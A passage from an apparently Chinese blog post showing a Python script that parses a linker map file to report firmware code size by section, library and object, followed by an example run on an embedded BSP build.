</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;(\S+)\((\S+)\)&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">m</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">fullmatch</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fobj</span> <span class="o">=</span> <span class="n">obj</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">lib</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">obj</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">lib</span> <span class="o">=</span> <span class="n">obj</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">lib</span> <span class="o">=</span> <span class="n">lib</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">obj</span> <span class="o">=</span> <span class="n">obj</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">{</span><span class="s2">&#34;section&#34;</span><span class="p">:</span> <span class="n">section_name</span><span class="p">,</span> <span class="s2">&#34;stype&#34;</span><span class="p">:</span> <span class="n">stype</span><span class="p">,</span> <span class="s2">&#34;size&#34;</span><span class="p">:</span> <span class="n">size</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;lib&#34;</span><span class="p">:</span> <span class="n">lib</span><span class="p">,</span> <span class="s2">&#34;obj&#34;</span><span class="p">:</span> <span class="n">obj</span><span class="p">,</span> <span class="s1">&#39;fobj&#39;</span><span class="p">:</span> <span class="n">fobj</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># parse map file</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_map</span><span class="p">(</span><span class="n">fname</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># &#34;SECTION ADDRESS SIZE OBJ&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">r2</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">r</span><span class="s2">&#34;\s+(\S+)\s+0x([0-9a-fA-F]{8,16})\s+0x([0-9a-fA-F]+)\s+(\S+)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># &#34;SECTION&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">r3</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;\s+(\S+)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># &#34;ADDRESS SIZE OBJ&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">r4</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;\s+0x([0-9a-fA-F]{8,16})\s+0x([0-9a-fA-F]+)\s+(\S+)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ents</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="n">map_found</span> <span class="o">=</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">    <span class="n">section_name</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">fh</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;Linker script and memory map&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">map_found</span> <span class="o">=</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">map_found</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">&#39;OUTPUT(&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">rstrip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">section_name</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">m</span> <span class="o">=</span> <span class="n">r4</span><span class="o">.</span><span class="n">fullmatch</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">size</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="n">obj</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="n">ents</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">make_entry</span><span class="p">(</span><span class="n">section_name</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">obj</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="n">section_name</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">m</span> <span class="o">=</span> <span class="n">r2</span><span class="o">.</span><span class="n">fullmatch</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">name</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">size</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">obj</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">ents</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">make_entry</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">obj</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">m</span> <span class="o">=</span> <span class="n">r3</span><span class="o">.</span><span class="n">fullmatch</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">section_name</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ents</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">sizelist</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">sl</span> <span class="o">=</span> <span class="p">[</span><span class="n">f</span><span class="p">[</span><span class="s2">&#34;text&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;rodata&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;bss&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;text&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">f</span><span class="p">[</span><span class="s2">&#34;rodata&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;text&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">f</span><span class="p">[</span><span class="s2">&#34;rodata&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">f</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">          <span class="n">f</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">f</span><span class="p">[</span><span class="s2">&#34;bss&#34;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">    <span class="n">ss</span> <span class="o">=</span> <span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">sl</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s2">&#34;,&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">ss</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">argv</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">opt</span> <span class="o">=</span> <span class="n">optparse</span><span class="o">.</span><span class="n">OptionParser</span><span class="p">(</span><span class="n">usage</span><span class="o">=</span><span class="s2">&#34;&#34;&#34;usage %prog [options]
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">This utility will analyze code size from map file. Code size are expressed
</span></span></span><span class="line"><span class="cl"><span class="s2">in concept of: text, rodata, data, bss. There is a map inside this script
</span></span></span><span class="line"><span class="cl"><span class="s2">to map each section name to section type. When there is an unknown section
</span></span></span><span class="line"><span class="cl"><span class="s2">name, it is needed to add the section name to this script.
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">opt</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s2">&#34;--map&#34;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s2">&#34;store&#34;</span><span class="p">,</span> <span class="n">dest</span><span class="o">=</span><span class="s2">&#34;map&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="n">help</span><span class="o">=</span><span class="s2">&#34;map file created at linking.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">opt</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s2">&#34;--outobj&#34;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s2">&#34;store&#34;</span><span class="p">,</span> <span class="n">dest</span><span class="o">=</span><span class="s2">&#34;outobj&#34;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">&#34;outobj.csv&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="n">help</span><span class="o">=</span><span class="s2">&#34;detailed information by object file (default: outobj.csv)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">opt</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s2">&#34;--outlib&#34;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s2">&#34;store&#34;</span><span class="p">,</span> <span class="n">dest</span><span class="o">=</span><span class="s2">&#34;outlib&#34;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">&#34;outlib.csv&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="n">help</span><span class="o">=</span><span class="s2">&#34;detailed information by library (default: outlib.csv)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">opt</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s2">&#34;--outsect&#34;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s2">&#34;store&#34;</span><span class="p">,</span> <span class="n">dest</span><span class="o">=</span><span class="s2">&#34;outsect&#34;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">&#34;outsect.csv&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="n">help</span><span class="o">=</span><span class="s2">&#34;detailed information by section (default: outsect.csv)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">opt</span><span class="p">,</span> <span class="n">argv</span> <span class="o">=</span> <span class="n">opt</span><span class="o">.</span><span class="n">parse_args</span><span class="p">(</span><span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">opt</span><span class="o">.</span><span class="n">map</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No map file specified!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ents</span> <span class="o">=</span> <span class="n">parse_map</span><span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">map</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">stype_total</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;text&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;rodata&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="s2">&#34;data&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;bss&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">&#39;ignore&#39;</span><span class="p">:</span> <span class="mi">0</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ent</span> <span class="ow">in</span> <span class="n">ents</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;stype&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype_total</span><span class="p">[</span><span class="n">stype</span><span class="p">]</span> <span class="o">+=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;total: text,rodata,data,bss,code,flash,ram&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;      &#34;</span><span class="p">,</span> <span class="n">sizelist</span><span class="p">(</span><span class="n">stype_total</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">lib_total</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ent</span> <span class="ow">in</span> <span class="n">ents</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">lib</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;lib&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;stype&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lib</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">lib_total</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">lib_total</span><span class="p">[</span><span class="n">lib</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;text&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;rodata&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                              <span class="s2">&#34;data&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;bss&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">&#39;ignore&#39;</span><span class="p">:</span> <span class="mi">0</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">lib_total</span><span class="p">[</span><span class="n">lib</span><span class="p">][</span><span class="n">stype</span><span class="p">]</span> <span class="o">+=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;size by library to </span><span class="si">%s</span><span class="s2"> ...&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outlib</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outlib</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;library name,text,rodata,data,bss,code,flash,ram</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">n</span><span class="p">,</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">lib_total</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">%s</span><span class="s2">,</span><span class="si">%s</span><span class="se">\n</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">sizelist</span><span class="p">(</span><span class="n">l</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">obj_total</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ent</span> <span class="ow">in</span> <span class="n">ents</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">fobj</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;fobj&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">lib</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;lib&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">obj</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;obj&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;stype&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">fobj</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">obj_total</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">obj_total</span><span class="p">[</span><span class="n">fobj</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;lib&#34;</span><span class="p">:</span> <span class="n">lib</span><span class="p">,</span> <span class="s2">&#34;obj&#34;</span><span class="p">:</span> <span class="n">obj</span><span class="p">,</span> <span class="s2">&#34;text&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;rodata&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="s2">&#34;data&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;bss&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">&#39;ignore&#39;</span><span class="p">:</span> <span class="mi">0</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">obj_total</span><span class="p">[</span><span class="n">fobj</span><span class="p">][</span><span class="n">stype</span><span class="p">]</span> <span class="o">+=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;size by object to </span><span class="si">%s</span><span class="s2"> ...&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outobj</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outobj</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;object name,library name,text,rodata,data,bss,code,flash,ram</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">n</span><span class="p">,</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">obj_total</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">%s</span><span class="s2">,</span><span class="si">%s</span><span class="s2">,</span><span class="si">%s</span><span class="se">\n</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">l</span><span class="p">[</span><span class="s1">&#39;obj&#39;</span><span class="p">],</span> <span class="n">l</span><span class="p">[</span><span class="s2">&#34;lib&#34;</span><span class="p">],</span> <span class="n">sizelist</span><span class="p">(</span><span class="n">l</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">section_total</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">ent</span> <span class="ow">in</span> <span class="n">ents</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">section</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;section&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">stype</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;stype&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">size</span> <span class="o">=</span> <span class="n">ent</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">section</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">section_total</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">section_total</span><span class="p">[</span><span class="n">section</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;type&#34;</span><span class="p">:</span> <span class="n">stype</span><span class="p">,</span> <span class="s2">&#34;size&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">section_total</span><span class="p">[</span><span class="n">section</span><span class="p">][</span><span class="s1">&#39;size&#39;</span><span class="p">]</span> <span class="o">+=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;size by section to </span><span class="si">%s</span><span class="s2"> ...&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outsect</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">opt</span><span class="o">.</span><span class="n">outsect</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;section name,section type,size</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">n</span><span class="p">,</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">section_total</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">%s</span><span class="s2">,</span><span class="si">%s</span><span class="s2">,</span><span class="si">%s</span><span class="se">\n</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">l</span><span class="p">[</span><span class="s1">&#39;type&#39;</span><span class="p">],</span> <span class="n">l</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="n">fh</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="n">main</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>执行脚本解析map文件：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">~<span class="se">\D</span>esktop via  v2.7.18
</span></span><span class="line"><span class="cl">❯ py -3 .<span class="se">\c</span>odesize.py --map .<span class="se">\f</span>c41d_bsp_app.map
</span></span><span class="line"><span class="cl">total: text,rodata,data,bss,code,flash,ram
</span></span><span class="line"><span class="cl">       979352,144557,4697,101218,1123909,1128606,105915
</span></span><span class="line"><span class="cl">size by library to outlib.csv ...
</span></span><span class="line"><span class="cl">size by object to outobj.csv ...
</span></span><span class="line"><span class="cl">size by section to outsect.csv ...
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image.7ljvl4f6xi.webp" alt=""  />
</p>
